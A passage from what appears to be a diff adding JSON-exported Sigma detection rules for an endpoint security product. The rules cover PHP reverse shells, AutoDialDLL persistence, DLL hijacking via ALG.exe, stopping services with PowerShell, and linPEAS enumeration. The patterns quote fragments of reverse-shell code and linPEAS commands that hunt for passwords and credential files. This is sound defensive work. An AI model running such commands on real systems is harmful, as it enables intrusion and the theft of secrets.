1=>$sock, 2=>$sock),$pipes);'\n    selection_procopen:\n        CommandLine|contains|all:\n            - 'php'\n            - 'fsockopen('\n            - 'proc_open('\n            - 'array('\n            - '=>'\n    condition: (all of selection_fsockopen*) or selection_procopen\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5f9f5085-ad6a-4474-9c6b-4f614b6e8b54",
+  "rule_name": "Reverse Shell Executed via PHP",
+  "rule_description": "Detects different suspicious usages of PHP that are related to reverse shells.\nA reverse shell is shell session that is initiated from a remote machine.\nAttackers often use reverse shell to bypass firewall restrictions.\nIt is recommended to investigate the whole process tree for suspicious activities.\n",
+  "rule_creation_date": "2022-07-01",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5fa2c53b-3193-4368-b86d-e1bf0d092af9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071634Z",
+  "creation_date": "2026-03-23T11:45:34.071637Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071641Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/",
+    "https://attack.mitre.org/techniques/T1546/"
+  ],
+  "name": "t1546_persistence_autodial_dll.yml",
+  "content": "title: Suspicious AutoDialDLL Registry Key Modified\nid: 5fa2c53b-3193-4368-b86d-e1bf0d092af9\ndescription: |\n    Detects the creation or edition of the AutoDialDLL registry key that allows payload execution and persistence upon restarting the BITS service.\n    This method is used as a mean to achieve persistence by replacing the original DLL image by a malicious payload.\n    This DLL is also loaded by processed using the WinSock2 library since WinSock2 loads additionnal DLL as part of its modular components.\n    This allows attackers to use this method as a lateral movement technique since they can plant the malicious AutoDialDLL on a target system, modify registry and wait for a process to use the WinSock2 API which will trigger execution.\n    It is recommended to investigate the process that performed the registry modification to look for malicious content or actions, as well as to look for the execution of malicious code by the BITS service or software using Winsock2.\nreferences:\n    - https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/\n    - https://attack.mitre.org/techniques/T1546/\ndate: 2022/10/27\nmodified: 2025/01/17\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1570\n    - attack.execution\n    - attack.persistence\n    - attack.t1546\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters\\AutodialDLL'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    exclusion_legitimate:\n        Details:\n            - '?:\\windows\\system32\\rasadhlp.dll'\n            - '%SystemRoot%\\system32\\rasadhlp.dll'\n            - '%Windir%\\system32\\rasadhlp.dll'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5fa2c53b-3193-4368-b86d-e1bf0d092af9",
+  "rule_name": "Suspicious AutoDialDLL Registry Key Modified",
+  "rule_description": "Detects the creation or edition of the AutoDialDLL registry key that allows payload execution and persistence upon restarting the BITS service.\nThis method is used as a mean to achieve persistence by replacing the original DLL image by a malicious payload.\nThis DLL is also loaded by processed using the WinSock2 library since WinSock2 loads additionnal DLL as part of its modular components.\nThis allows attackers to use this method as a lateral movement technique since they can plant the malicious AutoDialDLL on a target system, modify registry and wait for a process to use the WinSock2 API which will trigger execution.\nIt is recommended to investigate the process that performed the registry modification to look for malicious content or actions, as well as to look for the execution of malicious code by the BITS service or software using Winsock2.\n",
+  "rule_creation_date": "2022-10-27",
+  "rule_modified_date": "2025-01-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546",
+    "attack.t1570"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5fa685c8-ce30-4b62-b050-279c87efed32",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097936Z",
+  "creation_date": "2026-03-23T11:45:34.097938Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097943Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_alg.yml",
+  "content": "title: DLL Hijacking via ALG.exe\nid: 5fa685c8-ce30-4b62-b050-279c87efed32\ndescription: |\n    Detects potential Windows DLL Hijacking via ALG.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ALG.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\cryptbase.dll'\n            - '\\mswsock.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5fa685c8-ce30-4b62-b050-279c87efed32",
+  "rule_name": "DLL Hijacking via ALG.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ALG.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5fadcdde-a704-464c-8db6-76650b015644",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295563Z",
+  "creation_date": "2026-03-23T11:45:35.295566Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295573Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.001/T1562.001.md",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_powershell_stop_service.yml",
+  "content": "title: Service Stopped via PowerShell\nid: 5fadcdde-a704-464c-8db6-76650b015644\ndescription: |\n    Detects the Stop-Service PowerShell cmdlet being used to stop a specific service.\n    Attackers can use this command to stop security services to evade detection.\n    It is recommended to check the for other suspicious activities by the process launching the PowerShell command.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.001/T1562.001.md\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2021/10/15\nmodified: 2026/02/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1489\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.ServiceStop\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains: 'Stop-Service'\n\n    filter_script:\n        PowershellScriptPath|contains: '?'\n\n    exclusion_programfiles:\n        - ProcessParentImage|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n        - ProcessGrandparentImage|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n\n    exclusion_citrix:\n        ProcessImage: '?:\\Program Files\\Citrix\\ConfigSync\\ConfigSyncRun.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Citrix Systems, Inc.'\n        # PowershellCommand|contains: 'Stop-Service -Name $serviceName'\n\n    exclusion_powershell_management:\n        PowershellCommand|contains|all:\n            - 'GUID=\"EEFCB906-B326-4E99-9F54-8B4BB6EF3C6D\"'\n            - 'Author=\"Microsoft Corporation\"'\n            - 'NestedModules=\"Microsoft.PowerShell.Commands.Management.dll\"'\n            - 'CmdletsToExport=@(\"Add-Content\",'\n\n    exclusion_ansible:\n        ProcessCommandLine:\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA=='\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAaQBmACAAKAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAALQBsAHQAIABbAFYAZQByAHMAaQBvAG4AXQAiADMALgAwACIAKQAgAHsACgAnAHsAIgBmAGEAaQBsAGUAZAAiADoAdAByAHUAZQAsACIAbQBzAGcAIgA6ACIAQQBuAHMAaQBiAGwAZQAgAHIAZQBxAHUAaQByAGUAcwAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2ADMALgAwACAAbwByACAAbgBlAHcAZQByACIAfQAnAAoAZQB4AGkAdAAgADEACgB9AAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA=='\n        ProcessParentCommandLine|startswith:\n            - 'PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdA'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBhAFEAQgBtAEEAQwBBAEEASwBBAEEAawBBAEYAQQBBAFUAdwBCAFcAQQBHAFUAQ'\n\n    exclusion_sdiagnhost:\n        ProcessImage: '?:\\Windows\\System32\\sdiagnhost.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\svchost.exe'\n        ProcessParentCommandLine|contains|all:\n            - 'w32tm.exe /query /source'\n            - 'Check-TimeAccurateness $timeServer'\n            - 'Stop-Service \"w32time\"'\n\n    exclusion_exchange_ui:\n        ProcessInternalName: 'ExSetupUI.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_npcap:\n        PowershellCommand|contains: 'Microsoft.PowerShell.Management\\Start-Service -Name npcap -PassThru | Microsoft.PowerShell.Management\\Stop-Service -PassThru | Microsoft.PowerShell.Management\\Start-Service'\n\n    exclusion_choco:\n        ProcessImage:\n            - '?:\\program files\\chocolatey gui\\chocolateygui.exe'\n            - '?:\\program files (x86)\\chocolatey gui\\chocolateygui.exe'\n\n    exclusion_monitoring_agent:\n        # C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Monitoring Host Temporary Files 18220\\27811\\\n        PowershellCommand|contains|all:\n            - 'schtasks /create /tn DPMDiscoveryHelper /tr ?net start healthservice? /st $timeStr /rl highest /sc once /ru system /rp /f'\n            - 'Stop-Service healthservice'\n\n    exclusion_windowsadmincenter:\n        # C:\\Packages\\Plugins\\Microsoft.AdminCenter.AdminCenter\\0.0.0.316\\Sme.VmExtension\\Sme.VmExtension.WindowsAdminCenter\\Sme.VmExtension.WindowsAdminCenter.psm1\n        PowershellCommand|contains|all:\n            - 'function Stop-WACService {'\n            - ' Stop-Service (Get-WacServiceName)'\n            - '-ExitCode WACServiceCannotBeStopped'\n\n    exclusion_connectcare:\n        ProcessImage|endswith: '\\brainlab\\appls\\connectedcare_*\\gateway\\propertiesupdate.exe'\n\n    exclusion_fsecure:\n        ProcessImage: '?:\\program files (x86)\\f-secure\\psb\\wa_3rd_party_host_32.exe'\n\n    exclusion_rudder:\n        ProcessCommandLine: 'powershell.exe -noninteractive -nologo -windowstyle hidden -file ?:\\program files\\rudder\\bin\\rudder.ps1 agent run'\n\n    exclusion_centrastage:\n        ProcessParentImage: '?:\\program files (x86)\\centrastage\\cagservice.exe'\n\n    exclusion_fogpatcher:\n        ProcessCommandLine: 'powershell.exe -executionpolicy bypass -file ?:\\program files (x86)\\fog\\fogpatcher.ps1'\n\n    #exclusion_serviceportalagent:\n    #    PowershellCommand|contains:\n    #        - 'Stop-Service -Name $Service -Force'\n    #        - 'Where-Object { $_.Status -eq \"Running\" } | Stop-Service -Force'\n    #        - '# net stop does a more efficent job of shutting down the dependent services than Stop-Service'\n    #        - '$Status | Stop-Service -Force -PassThru | Set-Service -StartupType Disabled | Out-Null'\n    #    PowershellScriptPath:\n    #        - '?:\\Program Files\\WindowsPowerShell\\Modules\\MTRP.Powershell.Utils\\\\*\\Public\\\\*.ps1'\n    #        - '?:\\Program Files\\WindowsPowerShell\\Modules\\MTRP.oPowershell.ExtendedProperties\\\\*\\Public\\\\*.ps1'\n\n    exclusion_icinga:\n        PowershellCommand|contains|all:\n            - 'Test-IcingaForWindowsManagementConsoleExit()'\n            - \"Stop-Service'.ToLower()\"\n            - '$global:Icinga.InstallWizard.HeaderSelection = $Selection;'\n            - 'Read-IcingaPowerShellModuleFile -FileContent $ModuleContent;'\n            - 'Deny-IcingaJEACommand -Command $Command -FileComment $DeserializedFile.Comment'\n\n    exclusion_serviceportalagent:\n        ProcessOriginalFileName: 'MmrAgent.NetFxEmulator.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: \"Microsoft Corporation\"\n\n    exclusion_azure:\n        ProcessImage: '?:\\Program Files\\AzureConnectedMachineAgent\\GCArcService2\\GC\\gc_worker.exe'\n\n    # C:\\Packages\\Plugins\\Microsoft.AdminCenter.AdminCenter\\0.42.0.0\\wacrun.exe\n    exclusion_admincenter:\n        ProcessOriginalFileName: 'wacrun.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: \"Microsoft Corporation\"\n\n    exclusion_dynatrace:\n        ProcessAncestors|contains:\n            - '?:\\Program Files\\dynatrace\\oneagent\\agent\\pcap\\dynatrace_onepcap.exe'\n            - '?:\\Program Files (x86)\\dynatrace\\oneagent\\agent\\pcap\\dynatrace_onepcap.exe'\n        PowershellCommand|contains: '-Name npcap'\n\n    exclusion_action1:\n        - ProcessAncestors|contains: '?:\\Windows\\Action1\\action1_agent.exe'\n        - PowershellCommand|contains: '# NOT CURRENTLY USED: # NEVER change this: must be in sync with the agent code'\n\n    exclusion_nsclient_plusplus:\n        ProcessAncestors|contains: '?:\\NSClient++\\NSClient++.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5fadcdde-a704-464c-8db6-76650b015644",
+  "rule_name": "Service Stopped via PowerShell",
+  "rule_description": "Detects the Stop-Service PowerShell cmdlet being used to stop a specific service.\nAttackers can use this command to stop security services to evade detection.\nIt is recommended to check the for other suspicious activities by the process launching the PowerShell command.\n",
+  "rule_creation_date": "2021-10-15",
+  "rule_modified_date": "2026-02-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1489",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5fb64523-1865-4c78-bf2f-2e444dfd0947",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095271Z",
+  "creation_date": "2026-03-23T11:45:34.095273Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095277Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS",
+    "https://attack.mitre.org/techniques/T1082/",
+    "https://attack.mitre.org/techniques/T1592/001/",
+    "https://attack.mitre.org/techniques/T1592/002/",
+    "https://attack.mitre.org/techniques/T1592/004/",
+    "https://attack.mitre.org/tactics/TA0004/"
+  ],
+  "name": "t1082_linpeas.yml",
+  "content": "title: LinPEAS Hacktool Enumeration Command Executed\nid: 5fb64523-1865-4c78-bf2f-2e444dfd0947\ndescription: |\n    Detects specific enumeration commands from the linPEAS shell script, a popular Open Source enumeration script for privilege escalation.\n    Attackers may try to search for secrets or vulnerabilities present on an infected system to try and elevate their privileges locally or for lateral movement.\n    It is recommended to analyze the context behind the execution of the linPEAS tool as well as to look for malicious actions by the same user around this alert.\nreferences:\n    - https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS\n    - https://attack.mitre.org/techniques/T1082/\n    - https://attack.mitre.org/techniques/T1592/001/\n    - https://attack.mitre.org/techniques/T1592/002/\n    - https://attack.mitre.org/techniques/T1592/004/\n    - https://attack.mitre.org/tactics/TA0004/\ndate: 2022/10/18\nmodified: 2025/01/09\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1082\n    - attack.reconnaissance\n    - attack.t1592.001\n    - attack.t1592.002\n    - attack.t1592.004\n    - attack.privilege_escalation\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.HackTool.LinPEAS\n    - classification.Linux.Behavior.Exploitation\n    - classification.Linux.Behavior.SensitiveInformation\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_systemd:\n        Image|endswith: '/find'\n        CommandLine|contains: '/systemd -name *.service -o -name *.timer -o -name rocketchat.service -o -name *.socket'\n\n    selection_sqlite3:\n        Image|endswith: '/sqlite3'\n        CommandLine|contains:\n            - '/home/*/.cache/tracker/meta.db .schema nie:InformationElement_nie:copyright'\n            - '/var/lib/postgresql/.cache/tracker/meta.db .schema maemo:PostalAddress'\n\n    selection_psql:\n        Image|endswith: '/timeout'\n        CommandLine|contains: '1 psql -U pgsql -d template0 -c select version()'\n\n    selection_bashrc:\n        Image|endswith: '/grep'\n        CommandLine|contains: '-Ei enable_autologin|7z|unzip|useradd|linenum|linpeas|mkpasswd|htpasswd|openssl|PASSW|passw|shadow|root|snyk|sudo|^su|pkexec|^ftp|mongo|psql|mysql|rdesktop|xfreerdp'\n\n    selection_dpkg_log:\n        Image|endswith: '/grep'\n        CommandLine|contains: '-R -i pwd\\|passw /var/log/dpkg.log'\n\n    selection_connnected_services:\n        Image|endswith: '/grep'\n        CommandLine|contains: '-Ev .bashrc|.bluemix|.cer|.cloudflared|.crt|.csr|.db|.der|.env|.erlang.cookie|.ftpconfig|.git|.git-credentials|.gitconfig|.github|.gnupg|.google_authenticator|.gpg|.htpasswd'\n\n    selection_nginx:\n        Image|endswith: '/sed'\n        CommandLine|contains: '-E s,ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so'\n\n    selection_cron:\n        Image|endswith: '/cat'\n        CommandLine|contains: '/etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly /etc/crontab /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/*'\n\n    selection_passwds:\n        Image|endswith: '/find'\n        CommandLine|contains: '/var/log/ /private/var/log -type f -exec grep -R -i pwd\\|passw {} ;'\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5fb64523-1865-4c78-bf2f-2e444dfd0947",
+  "rule_name": "LinPEAS Hacktool Enumeration Command Executed",
+  "rule_description": "Detects specific enumeration commands from the linPEAS shell script, a popular Open Source enumeration script for privilege escalation.\nAttackers may try to search for secrets or vulnerabilities present on an infected system to try and elevate their privileges locally or for lateral movement.\nIt is recommended to analyze the context behind the execution of the linPEAS tool as well as to look for malicious actions by the same user around this alert.\n",
+  "rule_creation_date": "2022-10-18",
+  "rule_modified_date": "2025-01-09",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1082",
+    "attack.t1592.001",
+    "attack.t1592.002",
+    "attack.t1592.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
